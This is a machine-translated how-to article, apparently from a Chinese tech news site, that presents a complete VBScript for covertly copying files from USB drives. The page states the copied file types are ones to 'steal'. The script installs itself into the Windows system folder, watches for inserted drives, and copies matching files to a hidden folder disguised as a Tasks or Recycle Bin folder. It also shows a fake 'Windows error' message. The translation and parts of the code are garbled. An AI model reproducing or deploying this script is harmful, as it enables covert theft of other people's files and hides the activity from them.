In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-02-24 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Development >
Share
Shulou(Shulou.com)06/03 Report--
Editor to share with you how VBS automatically copy USB disk files, I believe that most people do not know much about it, so share this article for your reference, I hope you can learn a lot after reading this article, let's go to know it!
The following is a demonstration:
I. setting up
Right-click and select Edit
OStr = "txt | jpg | doc" the types of files you want to steal can be added by yourself and separated by "|"
ODistPath = "C:\\ windows\\ system\" 'Save path
OFolderName = "Task" 'Save folder name
OType = 0 'disguises the saved folder 1 as task folder, 2 as recycler folder, and 0 as non-camouflage
OOut = 1'1 quit after copying, 0 does not quit after copying, continue to cycle
2. Run after saving
The successful installation dialog box appears, and if you do not want it to appear, you can comment out the successful installation of Msgbox.
At this time, the script is already cycling to monitor the insertion of the U disk.
3. Insert USB flash drive
After the USB flash drive is inserted, the copy of the file begins. A prompt dialog box appears after the copy is complete.
If you do not want this dialog box to appear, you can comment out "Msgbox" Windows error ", 64"
Fourth, looking for documents
At this point, the file is already in the destination folder. I set oType to 1, so the folder becomes the task folder, and you can't see the files in it when you double-click to open it.
In this case, you can browse through the rar package, delete the desktop.ini file, and the folder will become a normal folder.
Ww
At this point, you can open the folder and see its contents.
Copy.log records the original and copied files.
Vbs code
The copy code is as follows:
OStr = "txt | jpg | doc" 'file type, which is separated by "|"
ODistPath = "C:\\ windows\\ system\" 'Save path
OFolderName = "Task" 'Save folder name
OType = 1'1 is the task folder, 2 is the recycler folder, 0 is not hidden
OOut = 1'1 quit after copying, 0 does not quit after copying, continue to cycle
'By: open QQ:343229025 for nothing
Set fso=CreateObject ("scripting.filesystemobject")
Set wshell=CreateObject ("WScript.shell")
If WScript.ScriptFullName=fso.GetSpecialFolder (1) & "\ Baikai.vbs" Then'if it's in system32
'create if the folder does not exist
If (not fso.FolderExists (oDistPath & oFolderName)) Then
Fso.CreateFolder (oDistPath & oFolderName)
End If
'create a record file
Set Mylog=fso.CreateTextFile (oDistPath&oFolderName& "\\ Copy.log", True)
'Loop monitoring mobile storage device insertion
Do
For Each oDriver In fso.Drives
If oDriver.DriveType=1 And oDriver "A:" And oDriver "B:" Then
TreeIt (oDriver)
Msgbox "Windows error", 64
If (oOut=1) then
Exit Do
End if
End If
Next
WScript.Sleep 15000
Loop
Mylog.Close
'hide the folder
OHideFolder oDistPath,oFolderName,oType
Else'if it is a different directory, install it first
Fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder (1) & "\ Baikai.vbs", True
Wshell.Run fso.GetSpecialFolder (1) & "\ Baikai.vbs"
Msgbox "installed successfully"
End if
Set fso=nothing
Set wshell=nothing
'traverse the directory function
Function TreeIt (sPath)
Set oFolder = fso.GetFolder (sPath)
Set oSubFolders = oFolder.Subfolders
Set oFiles = oFolder.Files
For Each oFile In oFiles
OCopyFile oFile.Path,oDistPath,oFolderName
Next
For Each oSubFolder In oSubFolders
TreeIt (oSubFolder.Path)
Next
Set oFolder = Nothing
Set oSubFolders = Nothing
End Function
'copy file function
Function oCopyFile (FileName,oDistPath,oFolderName)
Ext = fso.GetExtensionName (FileName)
If (instr (oStr,lcase (Ext) then
Randomize
Tempname=Ext&int ((Rnd*100000000) + 1) & "." & Ext
Fso.CopyFile FileName,oDistPath&oFolderName& "\" & tempname,true
Mylog.writeline FileName
Mylog.writeline tempname
End If
End Function
'hide folder function
Sub oHideFolder (oDistPath,oFolderName,oType)
Select Case oType
Case 1
Set inf=fso.CreateTextfile (oDistPath&oFolderName& "\\ desktop.ini", True)
Inf.writeline ("[.ShellClassInfo]")
Inf.writeline ("CLSID= {d6277990-4c6a-11cf-8d87-00aa0060f5bf}")
Case 2
Set inf=fso.CreateTextfile (oDistPath&oFolderName& "\\ desktop.ini", True)
Inf.writeline ("[.ShellClassInfo]")
Inf.writeline ("CLSID= {645FF040-5081-101B-9F08-00AA002F954E}")
Case 0
Exit sub
End Select
Set inf=nothing
Set SysoFolder=fso.GetFolder (oDistPath&oFolderName)
SysoFolder.attributes=4
Set SysoFolder=nothing
End sub
The above is all the contents of the article "how to copy USB disk files automatically by VBS". Thank you for reading! I believe we all have a certain understanding, hope to share the content to help you, if you want to learn more knowledge, welcome to follow the industry information channel!
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.